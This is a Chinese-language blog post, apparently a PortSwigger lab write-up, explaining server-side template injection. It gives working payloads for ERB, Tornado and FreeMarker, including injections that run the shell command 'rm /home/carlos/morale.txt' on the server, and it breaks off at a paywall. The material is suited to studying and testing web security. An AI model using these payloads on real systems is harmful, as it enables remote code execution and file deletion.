一、什么是服务端模板注入
服务端模板注入是一种Web应用程序漏洞,攻击者可以利用这种漏洞向网页服务器发送恶意的注入请求,并将恶意代码注入到服务器端的模板引擎中。当服务器从模板引擎获取数据并将其呈现给用户时,恶意注入的代码也被一起获取和渲染,最终导致各种安全问题,如敏感信息泄露、代码执行、GetShell等。
二、常见模板模板注入利用方式
1、基本服务器端模板注入
尝试不同的参数,观察返回值,找到存在模板位置直接注入。
ERB:<%= 7*7 %>
https://YOUR-LAB-ID.web-security-academy.net/?message=<%25%3d+7*7+%25>
2、上下文服务器端模板注入
修改传入参数表达式,通过错误得到使用的模板,注意:展示位置于注入位置不在同一页面、注意闭合}}
Tornado:{
{7*7}}
blog-post-author-display=user.name}}{% import os %} {
{os.system('rm /home/carlos/morale.txt')}}&csrf=nJyAgIQEfUbN6g6yvHXBNuhSCru5u0dC
3、使用文档进行服务器端模板注入
构建无效表达式查找报错代码,得知使用的模板。
FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
4、使用未知语言进行服务器端模板注入,并记录在案。
通过报错信息,通过浏览器查找该漏洞poc
{
{#with "s" as |string|}}
{

文章详细介绍了服务端模板注入的原理,包括基本注入、上下文注入、文档利用、未知语言注入以及通过用户对象披露信息等利用方式。同时,列举了PHP、Smarty和PythonJinja2等模板引擎的POC示例,并提到了沙盒环境中的注入。最后,文章讨论了防御措施,强调了输入清理和安全环境的重要性。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



